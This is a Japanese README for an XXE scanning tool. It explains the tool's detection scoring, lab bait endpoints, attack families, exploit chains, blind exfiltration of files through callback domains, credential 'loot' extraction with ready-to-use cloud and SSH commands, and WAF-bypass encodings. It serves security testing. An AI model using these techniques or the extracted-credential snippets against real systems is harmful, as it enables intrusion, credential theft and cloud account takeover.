**正規化ベースラインマッチ(ハード、−75)。** ハッシュが異なる場合でも、空白、16 進ブロブ、長い数値、CSRF トークン、セッション ID を除去した後、レスポンスが構造的に同一である可能性がある。その場合、それはベースラインノイズである。同じ `strong_signal` ゲート。
**エントロピー異常(上方向のみ)。** `median_length >= 256` の場合にのみ発火する。レスポンス全体のエントロピーは周囲のページ装飾に支配され、小さく埋め込まれた高エントロピー領域 — 大きなエラーページ内のファイル読み取り結果 — を見逃す。ウィンドウスキャン(256 バイトウィンドウ、128 バイトステップ、最初の 16 KiB)がそれらを捉える。ベースラインより 0.5 ビット/バイト上で +5 から、ベースラインより 4.0 ビット/バイト上で +20 までスケールする。
### レイヤー 3 — ポジティブシグナル
生き残った各候補はベースラインに対してスコアリングされる:
| シグナル | 重み | ベースラインアンカー |
|---|---|---|
| ファイルコンテンツフィンガープリント | +40、追加インジケーターごとに +5 | インジケーターがベースラインボディに現れてはならない |
| チェーン整合性(エンティティがエンドツーエンドで解決され、単に宣言されただけではない) | +25 | 構造的 — レスポンスがマークアップではなくコンテンツとして解析される |
| パーサーエラー(高 / 中 / 低) | +20 / +15 / +5 | エラー文字列がベースラインボディに現れてはならない |
| タイミング異常確認済み | +20 | デルタ ≥1.5s、比率 ≥2.5× 中央値、かつデルタ ≥4× IQR またはデルタ ≥2× 観測ジッター |
| ウィンドウエントロピー異常 | +5 〜 +20 | 上方向のみ、ビット/バイトデルタでスケール |
| 相関 OOB コールバック | +50 | コールバックサブドメイン内のトークンが保留中トークンと一致 |
| 非相関 OOB コールバック | +15 | コールバックは到着したがトークンが一致しなかった |
| 長さデルタ(≥20%) | +10 | 中央値長に対して |
| ステータスシフト | +5 | 最頻ステータスに対して |
ファイルフィンガープリントは**少なくとも 2 つ**のインジケーター文字列が一致することを要求し、レスポンスがマークアップのように見えてはならない。これにより、ドキュメントスニペットで `root:x:0:0:` に言及するページが `/etc/passwd` 検出器をトリップするのを防ぐ。
### レイヤー 4 — 分類
| スコア | 必須シグナル | 独立ファミリー | 結果 |
|---|---|---|---|
| ≥70 | はい | ≥2 | **確認済み** — CRITICAL |
| 45–69 | はい | 任意 | **潜在的** — HIGH |
| 25–44 | はい | 任意 | **潜在的** — MEDIUM |
| <25 | はい | 任意 | **理論的** — LOW *(抑制)* |
| 任意 | いいえ | 任意 | **理論的** — INFO *(抑制)* |
**必須シグナル**は 3 つに限定される:`file_type`(ファイルコンテンツフィンガープリントが一致)、`oob_correlated`(暗号相関 OOB コールバックが到着)、`chain_integrity`(エンティティがエンドツーエンドで解決)。パーサーエラーとタイミング異常はスコアに寄与するが、単独で検出結果を確認することはできない — パーサーエラーはペイロードがパーサーに到達したことを示すが、エンティティが解決したことを示すものではない;タイミングデルタはターゲットがより長くかかったことを示すが、ネットワークフェッチが発生したことを示すものではない。
**独立ファミリー**は異なる証拠*タイプ*を数える:`file_type`、`oob_correlated`、`chain_integrity`、`parser_error`、`response_elapsed`。2 ファミリー要件は、スコア ≥70 でも、単一の強いフィンガープリントが単独で CRITICAL に昇格できないことを意味する。2 番目の独立したシグナル — XXE レスポンスに固有のパーサーエラー、タイミング異常、またはチェーン整合性 — が必要である。
### レイヤー 5 — スキャンを通じた信頼構築
各フェーズは、前回よりも自信のあるターゲットの姿を見る。フィンガープリントが最初に実行され、ファイル読み取りフェーズをゲートする。ファイル読み取りフェーズはルートを生成し、それがチェーンステージをシードする。チェーンステージはテンプレートを完了し、それがロールアップを生成する。ロールアップはそれ自体が検出結果として扱われ、すべての出力形式に現れる。
結果は、「クリーン」を仮定ではなく検証されるべき状態として扱い、各ステージでカバレッジを報告するスキャナーであり、オペレーターが「ターゲットは脆弱ではない」と「ターゲットはテストされなかった」の違いを見分けることができる。
### ラボ内の偽陽性ベイト
バンドルされたラボには、過剰報告するスキャナーをトリップするために特別に設計された 17 の安全なエンドポイントが同梱されている。5 つのベースラインベイト:
- `/xml/safe` — エンティティを無効にして解析する。正しいスキャナーは `[OK]` を報告する。
- `/xml/noise` — リクエストごとにランダムなボディを返す。ベースライン正規化がそれを捉える。
- `/xml/stripped` — XML を解析するが、最初に ENTITY 宣言を除去する。「パーサーが実行された」を検出結果として扱うスキャナーはここで失敗する。
- `/xml/silent` — 解析するが、解析前に DOCTYPE を除去する。エンティティは残らない。偽陰性ベイト。
- `/xml/safe-metadata` — HTML 内に AWS 形式の文字列を返す。ファイルフィンガープリントは発火するために 2 つのインジケーターと非マークアップを要求する — ここでのレスポンスはマークアップである。
さらに 12 のスコープマッチした安全なカウンターパート(`/xml/safe-form`、`/xml/safe-query`、`/xml/safe-svg`、`/xml/safe-saml`、`/xml/safe-soap`、`/xml/safe-multipart`、`/xml/safe-docx`、`/xml/safe-xinclude`、`/xml/safe-xinclude-xml`、`/xml/safe-xslt`、`/xml/safe-xsd`、`/xml/safe-pi`)が、脆弱なカウンターパートと同じスコープチェックを実行するが、エンティティを無効にして解析する。これら 17 のエンドポイントのいずれかでの検出結果はスキャナーのバグである。
---
## 精度エンジン
**必須シグナルゲート**を備えた重み付きスコアリング。すべての候補レスポンスは統計ベースラインに対してスコアリングされる。このセクションでは重みとしきい値の詳細を説明する;[検出手法](#detection-methodology)セクションでその理由を説明する。
| シグナル | 重み |
|---|---|
| 相関 OOB コールバック | +50 |
| ファイルコンテンツフィンガープリント | +40(追加インジケーターごとに +5) |
| チェーン整合性(エンティティが解決され、単に宣言されただけではない) | +25 |
| パーサーエラーデルタ(高 / 中 / 低) | +20 / +15 / +5 |
| タイミング異常確認済み | +20 |
| ウィンドウエントロピー異常 | +5 〜 +20、ビット/バイトデルタでスケール |
| 非相関 OOB コールバック | +15 |
| 長さデルタ(≥20% 偏差) | +10 |
| ステータスコードシフト | +5 |
| リフレクションペナルティ(強いシグナルが存在) | −30 |
| リフレクション拒否条件(強いシグナルなし) | −100 |
| 無変化拒否条件 | −50 |
| 正規化ベースラインマッチ | −75 |
**ウィンドウエントロピー**は 256 バイトのスライディングウィンドウ(128 バイトステップ、最初の 16 KiB)を使用する。`median_length >= 256` の場合にのみ、上方向のシフトにのみ、デルタが 0.5 ビット/バイトを超える場合にのみ発火する。しきい値で +5 から、4.0 ビット/バイトで +20 までスケールする。
| スコア | 必須シグナル | 独立ファミリー | 結果 |
|---|---|---|---|
| ≥70 | はい | ≥2 | **確認済み** — CRITICAL |
| 45–69 | はい | 任意 | **潜在的** — HIGH |
| 25–44 | はい | 任意 | **潜在的** — MEDIUM |
| <25 | はい | 任意 | **理論的** — LOW *(抑制)* |
| 任意 | いいえ | 任意 | **理論的** — INFO *(抑制)* |
**タイミング検出結果は常に `potential` であり、`confirmed` ではない** — タイミングデルタはターゲットがより長くかかったことを示すが、エンティティが解決されたことを示すものではない。
### CWE マッピング
最長プレフィックス優先のルックアップ。XXE 検出結果は CWE-611 を持つ;情報漏洩検出結果は CWE-200 を追加する;エンティティ経由の SSRF、XSLT/XSD フェッチャー、およびすべての `XXE-CLOUD-METADATA-*` 検出結果は CWE-918 を追加する;PHP `expect://` および `XXE-RCE-*` ラッパーは CWE-78 を追加する;Billion Laughs は CWE-776;エラーベースのローカル DTD 再利用は CWE-829 を追加する;`XXE-SAML-PRESIG` は CWE-347 を追加する;`XXE-WAF-BYPASS-*` は CWE-693 を追加する;YAML デシリアライゼーションフェーズは CWE-502 を追加する。
---
## 攻撃テクニック
10 クラスにわたる 30 以上のファミリー。| クラス | 手法 | 深刻度 | CWE |
|---|---|---|---|
| In-band | クラシックなファイル読み取り、PHPフィルターチェーン、エンティティ経由のSSRF | CRITICAL | 611, 200, 918 |
| In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
| エラーベース | ローカルDTD再利用、不正なエンティティ | CRITICAL | 611, 200, 829 |
| Blind | DNS OOB、外部DTD OOB、パラメータエンティティOOB、CDATAバイパス、タイミングベース | CRITICAL / HIGH | 611 |
| エンコーディングバイパス | UTF-16、UTF-7、UCS-4、代替DOCTYPE | HIGH | 611 |
| 代替シンク | XInclude(`parse='text'`、`parse='xml'`)、SVGアップロード、SAMLエンベロープ、SOAPエンベロープ | CRITICAL | 611, 918 |
| 拡張フェッチャー | XSLT `document()`、XSLT `xsl:include`、XSD `schemaLocation`、XSD `xsd:import`、`xml-stylesheet` PI、マルチパートXMLフィールド、DOCXアップロード | HIGH / CRITICAL | 611, 918 |
| クラウドメタデータ | AWS IMDSv1、AWS IMDSv2(検出)、AWS IAM認証情報、AWS user-data、GCPトークン/プロジェクト、Azure IMDS/managed-identity、Alibaba RAM、OCI、Kubernetesシークレット | CRITICAL / HIGH | 611, 918, 200 |
| RCEラッパー | Java `jar:`、PHP `data://`、PHP `phar://`、PHP `glob://`、PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML署名前 | 署名検証前にアサーションボディが解析される | HIGH | 611, 347 |
| JSON-to-XML | JSON専用エンドポイントでのContent-Type切り替え | HIGH | 611, 200 |
| Officeドキュメント | サーバーサイドXSLTプロセッサが取得するDOCX/XLSXの`xml-stylesheet` PI | CRITICAL | 611, 918 |
| YAMLデシリアライゼーション | PyYAML `!!python/object/apply`、SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |
**配信ベクターのフェーズ**は、標準的な`POST` + `application/xml`の形を超えてプローブします:
- **Content-Typeマトリクス** — 9つのXML関連Content-Typeでクラシックなペイロードを送信します。多くのサーバーはContent-Typeが一致した場合にのみXMLパーサーへルーティングします。
- **HTTPメソッドのバリエーション** — `PUT`と`PATCH`。REST APIは`POST`がJSON専用であっても、これらのメソッドでXMLを受け入れることがよくあります。
- **クエリパラメータインジェクション** — `?xml=`、`?data=`、`?payload=`、`?input=`。レガシーAPIやゲートウェイは、ボディがXMLとして解析されない場合でも、この方法でXMLを受け入れることがよくあります。
- **JSON-to-XML切り替え** — 無害なXMLプローブで、エンドポイントが公称のJSONと併せて`application/xml`を受け入れるかどうかを判定します。`415`でハード拒否されなければ、スキャナーはクラシックなファイル読み取りペイロードで追撃します。これにより、クラスパス上に`jackson-dataformat-xml`があるSpring MVC(アノテーション不要で任意の`@RequestBody`エンドポイントでXMLを暗黙的に受け入れる)を捕捉します。
**クラウドメタデータ**は、単なるURLリストの項目ではなく、専用のフェーズです。6つのプロバイダーにまたがる11のエンドポイントがプローブされます。それぞれがプロバイダー固有のキー(AWS IAMの場合は`AccessKeyId`、`SecretAccessKey`、`SecurityToken`、GCP OAuthの場合は`access_token`、`expires_in`、`token_type`、Azureの場合は`vmId`、`subscriptionId`など)に対してフィンガープリントされます。認証情報マーカーを含むレスポンスはCRITICALに昇格され、それ以上プローブされません。**IMDSv2検出**:ステータス`401`でボディに`token`を含むAWSレスポンスは`XXE-CLOUD-METADATA-IMDSV2`(HIGH)として報告されます — SSRFプリミティブは存在しますが、メタデータサービスがセッショントークンを強制しています。抽出された認証情報は`LootStore.add_secret`を経由し、WebUIのLootタブにペースト可能なスニペットとともに格納されます。
**XXE-to-RCEラッパー**は、それぞれの特徴的な成功シグナルについてプローブされます:
| ラッパー | シグナル |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`、`Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`、`<?php` |
| PHP `phar://…/stub` | `unserialize`、`__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | パス一覧(`/etc/`、`/root/`、`/usr/`) |
| PHP `compress.zlib://…` | `root:x:`、`daemon:x:` |
**SAML署名前** — SAMLサービスプロバイダーは署名を検証する前にアサーションボディを解析する必要があり、これはCVE-2026-28809(esaml)が露呈したシーケンスです。このフェーズは、意図的に無効な署名を持つ整形式のSAMLアサーションを最初に送信します。パーサーエラーまたは`200`は、エンドポイントがXML解析に到達したことを示します。その後にのみXXEペイロードが送信されます。SAML形式のURL(`saml`、`sso`、`adfs`、`okta`、`assertion`、`federation`、`idp`、`sts/`、`sp/`)で自動的に実行されるか、`--saml`で無条件に実行されます。
**OfficeドキュメントXSLT** — `xml-stylesheet` PIは、一部の構成のサーバーサイドドキュメントプロセッサ(Wordプレビューレンダラー、PDFコンバーター、LibreOfficeヘッドレス、Apache POI XSLF)で尊重されます。このフェーズは、`word/document.xml`(または`xl/workbook.xml`)パートに攻撃者制御のXSLTを指すPIを含む最小限のDOCX(またはXLSX)を構築します。相関するコールバックは、スタイルシートが取得されたことを証明します。厳密な意味でのXXEとは異なります — これはXSLT呼び出しであり、ファイル開示(`document('file:///etc/passwd')`)とSSRFに連鎖します。
**YAMLデシリアライゼーション** — CWE-611ではなくCWE-502です。スキャナーは4つのプローブを搭載しています:PyYAML `!!python/object/apply:os.system`とSnakeYAML `!!javax.script.ScriptEngineManager`で、それぞれが生の`application/x-yaml`ボディとして、およびXMLラッパー内の両方で配信されます。相関するコールバックはRCEを証明します。このフェーズは最初の成功後に停止します。代替バリアントはノイズになるだけです。
**ファイルターゲットフェーズ** — デフォルトで21パスの優先セット。`--full-file-scan`は58パスに拡張し、Linuxの`/proc`探索、アプリケーションソースと`.env`ファイル、SSH/AWS/GCP認証情報パス、コンテナマーカー、`/run/secrets/*`、Kubernetesサービスアカウントプロジェクション、およびWindowsのSAMバックアップ、unattendファイル、IISログ、管理者認証情報を追加します。スキャン時に重複排除され、同じパスが2回プローブされることはありません。
**エラーベースの検出結果は分割されます**。これらの手法は異なるパーサーに対して成功するためです:
- `XXE-ERROR-BASED-LOCAL-DTD` — ターゲットファイルシステムに既に存在するDTDをハイジャックします。libxml2 ≥2.9で受け入れられる外部DOCTYPE形式を使用します。
- `XXE-ERROR-BASED-MALFORMED` — 内部サブセット内でパラメータエンティティを宣言し、パーサーエラーでファイルを漏洩させます。Xercesと.NETで動作します。libxml2はCレベルで内部サブセットPEを拒否します。
**タイミングプローブ**は、エンティティをRFC 5737 TEST-NET-1アドレス(`http://192.0.2.1/`)に向けます。これはルーティング不可能であることが保証されています。エンティティ解決はリゾルバーのTCP接続タイムアウトでブロックされます。
**オプトインフェーズ:** `--timing`(ターゲットごとに約5秒の接続を3つ保持)、`--unsafe`(Billion Laughs)、`--svg`(アップロード形式のフェーズ)、`--saml`(SAML署名前)、`--full-file-scan`(拡張ファイルリスト)、`--bypass-waf`(下記参照)。
---
## エクスプロイトチェーンとルート抽出
2つのサブシステムが個々の検出結果を物語に変えます。
### チェーントラッカー
`add_finding`を通過するすべての検出結果は、単一のフックを通じてチェーンステージをシードします:`_record_chain_stages`は検出結果のIDとエビデンス辞書を読み取り、その組み合わせが示唆するステージを記録します。`file_type`エビデンスキーを持つ検出結果は`xxe_confirmed`を記録します。`loot_id`を持つ検出結果は`file_content_recovered`を記録します。エビデンスに`extracted_credentials`が含まれる検出結果は`credential_extracted`を記録します。認証情報がSSH秘密鍵の場合、`ssh_key_extracted`も発火します。以下同様です。
13のチェーンテンプレートが定義されています。それぞれが一連のステージを必要とします。必要なすべてのステージが揃うと、チェーンは**一度だけ**発火し(並行処理の競合に対してガードされています)、ロールアップ検出結果を出力します:
| チェーンID | パス | 深刻度 |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → in-bandファイル読み取り → 認証情報窃取 | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → IAM認証情報 → AWSアカウント乗っ取り | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → エラーベースリーク → ファイルコンテンツ復元 | HIGH |
| `xxe_php_source_disclosure` | XXE → PHPフィルター → ソース開示 | CRITICAL |
| `xxe_rce_chain` | XXE → プロトコルラッパー → RCEチェーン確認 | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → blind OOBコールバック確認 | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → 内部サービス到達 | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → WAFバイパス → エンティティ解決確認 | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → KubernetesシークレットAPI → クラスター認証情報窃取 | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → クラスター内SAトークン読み取り | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → SSH秘密鍵 → ラテラルムーブメントプリミティブ | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → GCPメタデータ → OAuthトークン抽出 | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → managed-identityトークン | CRITICAL |
ロールアップ検出結果は、JSONシリアライズ可能なステップトレース、集約スコア100、およびフルレングスの理由チェーンを持ちます。それらは他の検出結果と同様にJSON、SARIF、HTML出力に表示され、そのIDプレフィックス(`XXE-CHAIN-`)はチェーンシードから除外されるため、決してループしません。
### ルートストア
すべてのファイル読み取り検出結果は`LootStore`を経由し、これが:
1. `FileContentExtractor`を介してレスポンスボディから生のファイルコンテンツを抽出します。エクストラクターは`(file_path, fingerprint_type)`でディスパッチします:`/etc/passwd`と`/etc/shadow`は行指向のマッチャーを持ち、パスプレフィックスを漏洩するパーサーエラー用の行中間フォールバックがあります。SSH鍵はPEM境界を使用します。`.env`、`web.ini`、`system.ini`、`boot.ini`はINI形式のマッチャーを持ちます。`web.config`は構成要素マッチャーを使用します。`/proc/self/environ`はNUL区切りのボディを処理します。汎用フォールバックはマークアップレスポンスから`<pre>` / `<textarea>` / `<code>`ブロックを引き出します。
2. 256 KBに切り詰めます(認証情報は切り詰め前に完全なコンテンツから抽出されます)。
3. コンテンツのSHA-256で重複排除します。
4. 完全なコンテンツに対して`CredentialExtractor`を実行します。
`CredentialExtractor`は7種類の認証情報を認識します:
| 種類 | ソース | 信頼度 |
|---|---|---|
| `aws_iam`(JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam`(INI) | AWS CLI認証情報ファイル(`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | Alibaba Cloudメタデータ(`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | PEM秘密鍵ブロック(RSA、OpenSSH、DSA、EC、PKCS#8) | 90 |
| `gcp_service_account` | サービスアカウントJSON(`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | GCPメタデータとAzure managed-identityレスポンス(`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList`(`data.token` base64-JWT)またはベアのサービスアカウントトークンファイル | 90 |
| `generic_bearer` | 24文字以上のトークンを持つ任意の`Bearer <token>`または`Authorization: <token>`マッチ | 40 |
各認証情報はペースト可能なシェルスニペットのリストを生成します:
- **AWS IAM** — キーがまだ機能するかを検証する`aws sts get-caller-identity`、`aws s3 ls`、IAMポリシー列挙、および現在のシェル用の`export`ブロック。
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`、`aliyun oss ls`、および正しい`ALIBABA_CLOUD_*`環境変数を持つ`export`ブロック。
- **SSH秘密鍵** — インストール、フィンガープリント、および`github.com` / `gitlab.com` / `bitbucket.org`に対する試行。
- **GCPサービスアカウント** — `gcloud auth activate-service-account`でキーをアクティベート。
- **OAuthアクセストークン** — Googleのuserinfoエンドポイント(GCPトークンで動作)とAzureのsubscriptionsエンドポイント(Azureトークンで動作)に対する`curl`。
- **Kubernetesサービスアカウントトークン** — JWTのクレームからデコードされた名前空間とサービスアカウント名で構築された`kubectl --token=…`スニペット、および署名を検証せずにトークンのクレームを検査する`jq`コマンド。
- **汎用ベアラー** — トークンがまだ有効かをテストする`httpbin.org/bearer`に対する`curl`。
抽出された認証情報は、検出結果のエビデンス(`extracted_credentials`)とルートエントリ(`credentials`)の両方に添付されます。WebUIの**Loot**タブとInspectorの**Overview**タブは、コマンドごとのコピーボタンとともにそれらをインラインでレンダリングします。HTMLレポートは*Extracted loot*セクションの下にそれらを含めます。
完全な認証情報の値はLootプレビューに表示されます。マスキングはv1.0.0で削除されました。同じ値がInspector、JSON出力、SARIF出力、HTMLレポートですでにマスクされずに表示されているためです — 一箇所でマスクし他でしないことは無意味でした。
### 手法間のルートルーティング
ルート抽出は、レスポンスボディに解析可能なファイルコンテンツを含むすべての検出結果で実行されます:
- **In-bandファイル読み取り** — `/etc/passwd`、`/etc/shadow`、SSH鍵、`.env`など。レスポンスから直接抽出されます。
- **エラーベースリーク** — ファイルコンテンツはパーサーエラーテキストに埋め込まれます。行中間の`/etc/passwd`マッチャーがそれを捕捉します。
- **PHPフィルター出力** — 抽出前にbase64デコードされ、その後認証情報エクストラクターを経由します。
- **XInclude解決** — インライン化されたコンテンツは同じエクストラクターで解析されます。
- **クラウドメタデータレスポンス** — 認証情報が抽出され`LootStore.add_secret`を経由し、結果のルートIDが検出結果のエビデンスに`loot_ids`として添付されます。
- **Blind OOB外部流出** — `--oob-listen`または`--oob-dtd-dir`がアクティブな場合(またはWebUIホストのDTDサーバー)、コールバックがファイルコンテンツを運び、`OOBExfilExtractor`がそれを引き出し、結果はin-band読み取りと同じファイルコンテンツおよび認証情報エクストラクターを経由します。
blind-exfiltrationパスは、このツールの性質を変えるものです。以前は、`XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED`は「ターゲットが我々のDTDを取得した」と言うだけでした。以後は、同じ検出結果がエビデンスに`loot_id`、`extracted_content_preview`、`extracted_credentials`を持ち、チェーントラッカーがルートを見て`xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`を発火でき、WebUIのLootタブがin-band読み取りと同じペースト可能なスニペットで復元されたファイルをレンダリングします。
---
## アウトオブバンド確認
XXERipperはOOBバックエンドとして**`interactsh-client`**を使用します。2つのモードがあります。
### マニュアルモード(デフォルト)
スキャナーはあなたのセッションドメインの下でペイロードを構築します。クライアントが登録、ポーリング、復号を行います。スキャナーはInteractshプロトコルを決して話しません。```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# Terminal B
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
スキャンが完了すると、各ターゲットのサマリーには、送信されたすべてのペイロードをテクニックラベルごとにグループ化してリスト表示する [OOB] ブロックが含まれます:```
[1/1] [MANUAL-OOB] https://target.com/api/xml
Parser: libxml2
[!] 3 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[OOB] 7 payload(s) dispatched — watch your interactsh-client terminal
- [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro
DNS-only parameter entity (blind parser fingerprint)
- [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro
External DTD fetch (blind file exfiltration via DTD)
...
`interactsh-client` がインタラクションを出力したら、サブドメインのプレフィックスを対応する `[OOB]` 行に照合します。その一致が確認となります。
**マニュアルモードでは外部流出を抽出しません。** マニュアルモードでは、スキャナは OOB ペイロードを送出して即座に戻ります — interactsh の出力を読むことはありません。流出した内容はスキャナのルートストアではなく、interactsh のターミナルに表示されます。CLI バナーと WebUI ジョブランナーの両方が、外部流出が設定されているのにオートモードがオフの場合に警告を表示します。
### オートモード (`--oob-auto`)
スキャナは `interactsh-client` をサブプロセスとして起動し、その `-json -v` イベントストリームを読み取り、セッションドメインを抽出し、コールバックをプロセス内で相関付けます。2つ目のターミナルも、手動での照合も不要です。```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.
コールバックは到着した瞬間に stderr に出力されます:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42
相関はトークンベースです。スキャナはペイロードごとに一意の16進数トークンを生成し、それをサブドメインに埋め込み、マッピングを記録し、受信したコールバックをトークンで照合します。サブドメインに、そのサブドメインを生成したペイロードに対応する特定の保留中トークンが含まれていないコールバックは破棄されるため、無関係なDNSトラフィックが誤って帰属されることはなく、反復 *N* の遅いコールバックが反復 *N+1* に帰属されることもありません。相関が取れたコールバックは完全な+50の重みを持ち、必須シグナルに寄与します — それ単独で所見をCRITICALに昇格させることができます(2ファミリー要件はOOBファミリーとチェーン整合性またはフィンガープリントによって満たされます)。
**バッチスキャン**は、実行のライフタイムにわたって1つの `interactsh-client` プロセスを共有します。各ターゲットは独自のトークンセットを持つ独自の `OOBClient` ビューを取得するため、`--threads 20` であってもターゲットごとの帰属は正しく保たれます。
**Webコンソールでは**、*Auto OOB mode* にチェックを入れると、サーバープロセスのライフタイムにわたって1つの共有 `interactsh-client` が生成され、最初のauto-OOBジョブで遅延生成されて以降再利用されます。複数の同時ジョブはドメインを共有しますが、独立したトークンセットを保持します。
### ブラインド流出
デフォルトでは、OOB所見はエンティティ解決が発生したことを確認します — コールバックが到着し、トークンがそれが我々のものであることを証明します。しかしファイル内容は回収しません。内容を回収するには、スキャナが、ターゲットにそのファイルをコールバックURLへ送信させるDTDを配信する必要があります。
3つのDTDホスティングモードがサポートされています:
**組み込みDTDサーバー** (`--oob-listen HOST:PORT --oob-public-url URL`):スキャナが自身のHTTPサーバーをバインドし、オンデマンドでDTDを配信します。テストラボ、同一ホストスキャン、およびターゲットがスキャナのアドレスに到達できるあらゆる環境に最適です。
**ファイルベースのDTD配信** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`):スキャナがDTDファイルをディレクトリに書き込み、あなたがそのディレクトリをnginx、Apache、`python -m http.server`、またはその他のもので配信します。スキャナ自身のアドレスに到達できない実際のリモートターゲットに最適です。
**WebUIホスティングDTDサーバー**:新規スキャンドロワーで **Serve DTDs from this WebUI** にチェックを入れ、公開URLプレフィックスを指定します。スキャナは、コンソールを実行するのと同じFlaskプロセス上で `/dtd/<token>.dtd` にDTDを登録します。2つ目のターミナルも、`python -m http.server` も、別個のディレクトリも不要です。ユーザーは、ターゲットがWebUIのバインドアドレスに到達できることを保証する必要があります — `--host 0.0.0.0` でバインドし、公開IPまたはホスト名を指定してください。
流出が有効な場合、`XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` および `XXE-CDATA-BYPASS-OOB` の所見は、抽出されたファイル内容をlootとして保持します。インバンド読み取りで実行されるのと同じ `FileContentExtractor` および `CredentialExtractor` パイプラインが流出バイトに対して実行されるため、ブラインドの `/etc/passwd` 読み取りは、インバンドのものと同じ資格情報抽出と貼り付け可能なシェルスニペットを生成します。流出された内容は、WebUIの **Loot** タブ、OOBタブの `exfiltrated` ブロック、およびHTMLレポートのlootセクションに表示されます。
**前提条件。** ターゲットがあなたのDTDサーバーに到達できる必要があります。Interactshはコールバックをログに記録しますが内容を配信しないため、実際のHTTPエンドポイントの代わりにはなりません。これはブラインドXXE流出の仕組みに固有のものであり、スキャナの制限ではありません。
**マニュアルモードは流出しません。** 流出にはスキャナが自身のコールバックストリームを読み取る必要があり、それは `--oob-auto` モードでのみ発生します。`--oob-listen` または `--oob-dtd-dir` を指定してマニュアルモードを実行すると、DTDは配信され、ターゲットはそれらを取得し、ターゲットはファイル内容をinteractshへ送信します — しかしスキャナはinteractshの出力を決して読まないため、それを抽出しません。流出されたデータはあなたのinteractshターミナルで確認できます。
### どちらを使うべきか
- **マニュアル**はより安全なデフォルトです。サブプロセスも暗号ハンドシェイクもなく、クライアントが別のホストで実行される完全にエアギャップされたコーディネーションを含む、あらゆるInteractshデプロイメントで機能します。
- **オート**はバッチスキャンとCIでより高速です。1つのコマンドで、相互参照は不要です。`PATH` に `interactsh-client` が必要です。流出には必須です。
**セルフホストサーバー**は、スキャナ側の変更なしに両方のモードで機能します — `interactsh-client` をあなたのサーバーに向け(その `-s` / `-server` フラグ経由、またはバイナリをシェルエイリアスでラップすることにより)、マニュアルモードでは、出力されたセッションドメインを `--oob-domain` に渡します。
---
## WAFバイパスエンコーディング
`--bypass-waf` は、コアフェーズの実行 *後* に、ペイロードカタログ全体を1つ以上のエンコーダを通して再送信します。これは、WAFが古典的なペイロード形状をブロックしているが、変換された等価物は通過させているかどうかをテストします — ただし、直接的な所見をエンコードされたスイープの背後に隠すことなく行います。
3つのファミリーにわたる15のエンコーダ:
**ドキュメントエンコーダ**(バイトストリームを変換):
| 名前 | 変換 | 備考 |
|---|---|---|
| `utf16be` | BOM付きUTF-16 BE | 古典的なバイトストリームシフト。ほとんどのWAFはボディをUTF-8としてデコードし、インターリーブされたnullを見逃します。 |
| `utf16le` | BOM付きUTF-16 LE | 同じ原理、逆のエンディアン。 |
| `utf16decl` | BOM付きUTF-16 BEおよび宣言の書き換え | 宣言が `encoding="UTF-16"` に更新されるため、厳格なパーサーが受け入れます。 |
| `utf16nobom` | BOMなしUTF-16 BE、宣言書き換え | 一部のパーサーは宣言を尊重してエンディアンを推測します。一部のWAFはBOMをデコードシグナルとして使用し、それを持たないボディをスキップします。 |
| `utf32be` | BOM付きUTF-32 BE | WAFによるサポートはUTF-16より一般的ではありません。 |
| `utf32le` | BOM付きUTF-32 LE | 同様、逆のエンディアン。 |
| `ebcdic` | EBCDIC CP037 | 検査前にEBCDICをデコードするWAFはほとんどありません。libxml2は自動検出します。Xercesと.NETはきれいに拒否します。 |
| `ucs4_2143` | UCS-4バイトオーダー2,1,4,3 | Unicode TR#17の順列。バイトパターンはどのUTF-32 BE/LEシグネチャにも一致しないため、WAFはデコードしません。CVE-2024-47873でPhpSpreadsheetのXmlScannerをバイパスしたのと同じ順序です。 |
| `utf8bom` | BOM付きUTF-8 | わずかだが無料。`^<?xml` にアンカーされた正規表現を打ち負かします。 |
**キーワード回避エンコーダ**(エンティティ宣言を変換):
| 名前 | 変換 | 備考 |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | 有効なXML。`SYSTEM "file://` のみにマッチするWAFは見逃します。 |
